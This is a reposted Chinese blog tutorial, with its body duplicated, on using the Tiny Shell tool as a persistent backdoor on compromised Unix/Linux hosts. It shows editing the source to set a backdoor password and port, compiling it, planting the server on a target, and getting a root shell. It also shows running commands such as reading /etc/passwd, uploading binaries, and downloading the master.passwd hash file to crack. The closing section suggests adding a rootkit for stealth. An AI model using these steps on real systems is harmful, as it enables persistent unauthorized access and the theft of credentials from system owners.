Unix/Linux系統下輕量級Shell工具(轉)
Unix/Linux系統下輕量級Shell工具(轉)[@more@] 一,前言
隨著網際網路的發展,使用Unix/Linux系統的越來越多,而入侵一臺Unix/Linux系統也不再是什麼難事了。通常,在入侵成功之後,都會留一個或幾個後門,以便再次進入;對於Unix/Linux系統,後門的種類比較多,初級的有修改“.rhosts”檔案,複製一個Shell到一個隱藏目錄,修改etc/passwd檔案加使用者等手段。較高階的莫屬使用核心模組後門(Rootkit)了,它是Unix/Linux系統下最高階別的後門,也許最具有隱蔽性的,但今天我並不說Rootkit,因為它的使用過於複雜,對沒有Unix/Linux系統使用經驗的人來說,更是難以駕御。而Tiny Shell作為一款執行於Unix/Linux系統下的輕量級Shell工具,不僅小巧,還支援另外一些不錯的功能,具體請看下文。
二,應用
1,Tiny Shell簡介
Tiny Shell是一款輕量級的標準遠端Shell工具,可以提供遠端執行命令(包括:Rlogin,Telnet,Ssh等)和檔案傳輸功能(上傳、下載),支援單位元組,完全支援Pseudo-Terminal Pairs(pty/tty)等偽終端。並使用強大的160-bit RC4加密,以躲避嗅探器的檢測具備AES-128 + HMAC-SHA1的強大加密和認證。支援FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系統。
2,Tiny Shell應用
測試環境:
本地:OpenBSD 3.4 IP:192.168.0.40
目標:FreeBSD 4.9 STABLE IP:192.168.0.20
首先下載Tiny Shell,解壓縮後修改原始碼,以求該工具更能符合我們的要求。
#fetch
#tar zxvf tsh-0.6.tgz
#cd tsh-0.6
#ls
ChangeLog README aes.h pel.h sha1.h tsh.h
Makefile aes.c pel.c sha1.c tsh.c tshd.c
#vi tsh.h
char *secret = "replace with your password";
//連線後門的密碼,我修改為dahubaobao。這個後門的主程式是tsh.c,先看看下邊的原始碼
if( password == NULL )
{
/* 1st try, using the built-in secret key */
ret = pel_client_init( server, secret );
if( ret != PEL_SUCCESS )
{
close( server );
/* secret key invalid, so ask for a password */
password = getpass( "Password: " );
goto connect;
}
}
//重點在這裡:ret = pel_client_init( server, secret );
把secret變數作為了引數,也就是連線後門所需要的密碼。現在知道為什麼修改tsh.h了吧。
#define SERVER_PORT 7586
//後門簡聽的埠,任意修改
if( argc == 5 && ! strcmp( argv[2], "get" ) )
{
action = GET_FILE;
}
if( argc == 5 && ! strcmp( argv[2], "put" ) )
{
action = PUT_FILE;
}
//該後門並沒有幫助資訊,所以檢視這裡得知Get為下載,Put為上傳。當然,如果你喜歡,可以自行修改。另外,如果你想該後門輸出幫助資訊,可以自己新增一個Printf語句來輸出幫助資訊。這裡給出一個最簡單的方法,我們在不加引數的情況下執行./tsh的時候,會提示gethostbyname failed.,然後檢視原始碼,找到fprintf( stderr, "gethostbyname failed. " );這句程式碼,聰明的你也許想到了,就是修改gethostbyname failed.為你想要的幫助資訊,這樣,在執行./tsh的時候,就會自動輸出幫助資訊了。呵呵,也算一種變相修改吧。下面開始編譯原始碼。
#make
Please specify one of these targets:
make linux
make freebsd
make openbsd
make netbsd
make cygwin
make sunos
make irix
make hpux
make osf
#make openbsd
//根據你的系統做相應的選擇,10秒鐘就編譯好了。
然後,會在當前目錄下生成兩個可執行檔案,一個客戶端,一個服務端,分別為:tsh,tshd。現在將tshd複製到目標系統(FreeBSD),然後執行./tshd完成安裝。為了更清楚的表示我使用的環境,所以回到本地執行id命令,得知該使用者的UID=1000,是普通使用者;現在使用./tsh 192.168.0.20來接連目標主機(為了測試方便,我就不加密碼了),好,現在我們獲得了一個Root許可權的Shell,再使用id命令(注意,這是在目標主機上),可以看到UID=0了,這可是Root許可權哦!執行uname ?Ca命令,回顯為FreeBSD系統,可見已經成功連線後門並登陸了。另外,該後門還可以在連線的時候插入Shell命令,語法為./tsh 192.168.0.20 “command”,比如./tsh 192.168.0.20 “cat etc/passwd”,這條命令的意思是連線192.168.0.20目標主機,接著執行cat etc/passwd命令,這樣,目標主機的passwd檔案我們就一覽無餘了。但要注意,使用這種形式並沒有登陸目標主機,只是連線目標主機,然後插入一個Shell命令而已。
現在我們來看看上傳、下載的使用方法。從原始碼中知道,上傳的關鍵字為Put,下載的關鍵字為Get。好,先來看看如何上傳檔案,執行“./tsh 192.168.0.20 put 檔名 目標主機目錄”即可完成上傳,但要注意,檔案要在當前目錄下,也就是和tsh在同一個目錄下。我上傳的一個back的二進位制檔案,使用./tsh 192.168.0.20 put back /,這條命令是將back檔案上傳目標根目錄,然後我再使用./tsh 192.168.0.20連線到目標主機,ls檢視back是否已經上傳到了對方主機,呵呵,還不錯吧!在來看下載檔案,它的語法為“./tsh 192.168.0.20 get 目標檔案 本地目錄”,現在我們來獲得其最敏感的檔案----master.passwd(影子檔案,也就是Linux系統下的shadow檔案)。執行./tsh 192.168.0.20 get etc/master.passwd /home/dahubaobao,意思為下載目標主機的master.passwd檔案到本地的/home/dahubaobao目錄,然後使用ls檢視,可以看見已經將對方的master.passwd下載到了本地,再vi master.passwd,哈哈,使用者的加密密碼近在眼前。提示,FreeBSD的使用者密碼是採用MD5加密的。
小結
Tiny Shell作為一款小型的Shell工具,絲毫不遜於其他同類的Shell工具,而且支援大部分的Unix/Linux系統,絕對值得一試。當然,這款後門很不隱蔽,我們可以結合Rootkit來加固(Rootkit中也提供Shell工具,但無法和Tiny Shell相比,不信你可以自己試試),Rootkit的使用可以去google找答案,在此就不多說了。
隨著網際網路的發展,使用Unix/Linux系統的越來越多,而入侵一臺Unix/Linux系統也不再是什麼難事了。通常,在入侵成功之後,都會留一個或幾個後門,以便再次進入;對於Unix/Linux系統,後門的種類比較多,初級的有修改“.rhosts”檔案,複製一個Shell到一個隱藏目錄,修改etc/passwd檔案加使用者等手段。較高階的莫屬使用核心模組後門(Rootkit)了,它是Unix/Linux系統下最高階別的後門,也許最具有隱蔽性的,但今天我並不說Rootkit,因為它的使用過於複雜,對沒有Unix/Linux系統使用經驗的人來說,更是難以駕御。而Tiny Shell作為一款執行於Unix/Linux系統下的輕量級Shell工具,不僅小巧,還支援另外一些不錯的功能,具體請看下文。
二,應用
1,Tiny Shell簡介
Tiny Shell是一款輕量級的標準遠端Shell工具,可以提供遠端執行命令(包括:Rlogin,Telnet,Ssh等)和檔案傳輸功能(上傳、下載),支援單位元組,完全支援Pseudo-Terminal Pairs(pty/tty)等偽終端。並使用強大的160-bit RC4加密,以躲避嗅探器的檢測具備AES-128 + HMAC-SHA1的強大加密和認證。支援FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系統。
2,Tiny Shell應用
測試環境:
本地:OpenBSD 3.4 IP:192.168.0.40
目標:FreeBSD 4.9 STABLE IP:192.168.0.20
首先下載Tiny Shell,解壓縮後修改原始碼,以求該工具更能符合我們的要求。
#fetch
#tar zxvf tsh-0.6.tgz
#cd tsh-0.6
#ls
ChangeLog README aes.h pel.h sha1.h tsh.h
Makefile aes.c pel.c sha1.c tsh.c tshd.c
#vi tsh.h
char *secret = "replace with your password";
//連線後門的密碼,我修改為dahubaobao。這個後門的主程式是tsh.c,先看看下邊的原始碼
if( password == NULL )
{
/* 1st try, using the built-in secret key */
ret = pel_client_init( server, secret );
if( ret != PEL_SUCCESS )
{
close( server );
/* secret key invalid, so ask for a password */
password = getpass( "Password: " );
goto connect;
}
}
//重點在這裡:ret = pel_client_init( server, secret );
把secret變數作為了引數,也就是連線後門所需要的密碼。現在知道為什麼修改tsh.h了吧。
#define SERVER_PORT 7586
//後門簡聽的埠,任意修改
if( argc == 5 && ! strcmp( argv[2], "get" ) )
{
action = GET_FILE;
}
if( argc == 5 && ! strcmp( argv[2], "put" ) )
{
action = PUT_FILE;
}
//該後門並沒有幫助資訊,所以檢視這裡得知Get為下載,Put為上傳。當然,如果你喜歡,可以自行修改。另外,如果你想該後門輸出幫助資訊,可以自己新增一個Printf語句來輸出幫助資訊。這裡給出一個最簡單的方法,我們在不加引數的情況下執行./tsh的時候,會提示gethostbyname failed.,然後檢視原始碼,找到fprintf( stderr, "gethostbyname failed. " );這句程式碼,聰明的你也許想到了,就是修改gethostbyname failed.為你想要的幫助資訊,這樣,在執行./tsh的時候,就會自動輸出幫助資訊了。呵呵,也算一種變相修改吧。下面開始編譯原始碼。
#make
Please specify one of these targets:
make linux
make freebsd
make openbsd
make netbsd
make cygwin
make sunos
make irix
make hpux
make osf
#make openbsd
//根據你的系統做相應的選擇,10秒鐘就編譯好了。
然後,會在當前目錄下生成兩個可執行檔案,一個客戶端,一個服務端,分別為:tsh,tshd。現在將tshd複製到目標系統(FreeBSD),然後執行./tshd完成安裝。為了更清楚的表示我使用的環境,所以回到本地執行id命令,得知該使用者的UID=1000,是普通使用者;現在使用./tsh 192.168.0.20來接連目標主機(為了測試方便,我就不加密碼了),好,現在我們獲得了一個Root許可權的Shell,再使用id命令(注意,這是在目標主機上),可以看到UID=0了,這可是Root許可權哦!執行uname ?Ca命令,回顯為FreeBSD系統,可見已經成功連線後門並登陸了。另外,該後門還可以在連線的時候插入Shell命令,語法為./tsh 192.168.0.20 “command”,比如./tsh 192.168.0.20 “cat etc/passwd”,這條命令的意思是連線192.168.0.20目標主機,接著執行cat etc/passwd命令,這樣,目標主機的passwd檔案我們就一覽無餘了。但要注意,使用這種形式並沒有登陸目標主機,只是連線目標主機,然後插入一個Shell命令而已。
現在我們來看看上傳、下載的使用方法。從原始碼中知道,上傳的關鍵字為Put,下載的關鍵字為Get。好,先來看看如何上傳檔案,執行“./tsh 192.168.0.20 put 檔名 目標主機目錄”即可完成上傳,但要注意,檔案要在當前目錄下,也就是和tsh在同一個目錄下。我上傳的一個back的二進位制檔案,使用./tsh 192.168.0.20 put back /,這條命令是將back檔案上傳目標根目錄,然後我再使用./tsh 192.168.0.20連線到目標主機,ls檢視back是否已經上傳到了對方主機,呵呵,還不錯吧!在來看下載檔案,它的語法為“./tsh 192.168.0.20 get 目標檔案 本地目錄”,現在我們來獲得其最敏感的檔案----master.passwd(影子檔案,也就是Linux系統下的shadow檔案)。執行./tsh 192.168.0.20 get etc/master.passwd /home/dahubaobao,意思為下載目標主機的master.passwd檔案到本地的/home/dahubaobao目錄,然後使用ls檢視,可以看見已經將對方的master.passwd下載到了本地,再vi master.passwd,哈哈,使用者的加密密碼近在眼前。提示,FreeBSD的使用者密碼是採用MD5加密的。
小結
Tiny Shell作為一款小型的Shell工具,絲毫不遜於其他同類的Shell工具,而且支援大部分的Unix/Linux系統,絕對值得一試。當然,這款後門很不隱蔽,我們可以結合Rootkit來加固(Rootkit中也提供Shell工具,但無法和Tiny Shell相比,不信你可以自己試試),Rootkit的使用可以去google找答案,在此就不多說了。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10617542/viewspace-950106/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 輕量級超級 css 工具CSS
- 9 個提高系統執行速度的輕量級 Linux 應用Linux
- lightCMS - 輕量級 CMS 系統,通用後臺管理系統
- python輕量級效能工具-LocustPython
- 輕量級線上CRM系統有哪些
- Unix、Windows、Mac OS、Linux系統故事WindowsMacLinux
- Linux Shell Web超級終端工具shellinaboxLinuxWeb
- Spring Boot搭建輕量級的部落格系統Spring Boot
- 輕量級API測試工具PandariaAPI
- Shottr for mac(輕量級截圖工具)Mac
- [轉載]用 Go 寫一個輕量級的 ldap 測試工具GoLDA
- syslog--unix like系統常用的log工具
- Pekwm:一個輕量級的 Linux 桌面Linux
- 如何區分Linux和Unix?作業系統!Linux作業系統
- Oracle輕量級實時監控工具-oratopOracle
- 一套輕量級銷售團隊管理系統【CRM】
- Python_UNIX和Linux系統管理指南(四)—— 網路PythonLinux
- Windows、Linux、Unix、Mac OS X系統哪個更好用?WindowsLinuxMac
- Unix和Linux作業系統有什麼區別Linux作業系統
- Multipass,多平臺本地輕量級Linux體驗!Linux
- Linux系統級日誌系統Linux
- 輕量級日誌採集系統Loki搭建:Loki + Promtail+GrafanaLokiAIGrafana
- 有哪些免費的輕量級線上 CRM 系統?6款CRM系統盤點
- Unix系統中常用內建工具的命令使用指南
- 輕量級自動化運維工具pssh與pslurp運維
- Mac輕量級cad繪圖工具:CAD迷你畫圖Mac繪圖
- CAD迷你畫圖 for mac(輕量級cad繪圖工具)Mac繪圖
- 『學了就忘』Linux基礎 — 1、UNIX系統介紹Linux
- Zorin OS 15 Lite 釋出:好看的輕量級 LinuxLinux
- Mac系統下檔案編碼轉換工具encaMac
- Linux作業系統之Shell程式設計Linux作業系統程式設計
- 一鍵生成!輕量級 AI 證件照製作工具!AI
- 輕量級工具Vite到底牛在哪, 一文全知道Vite
- 線上試用 200 多種 Linux 和 Unix 作業系統Linux作業系統
- 微軟釋出Win10輕量級桌面系統環境Windows Sandbox微軟Win10Windows
- .NET 7+Angular 4 輕量級新零售進銷存系統Angular
- Linux系統下常用的3種網路測速工具!Linux
- Linux下Shell日期的格式Linux
- Linux系統Shell指令碼如何執行?linux運維繫統工程師Linux指令碼運維工程師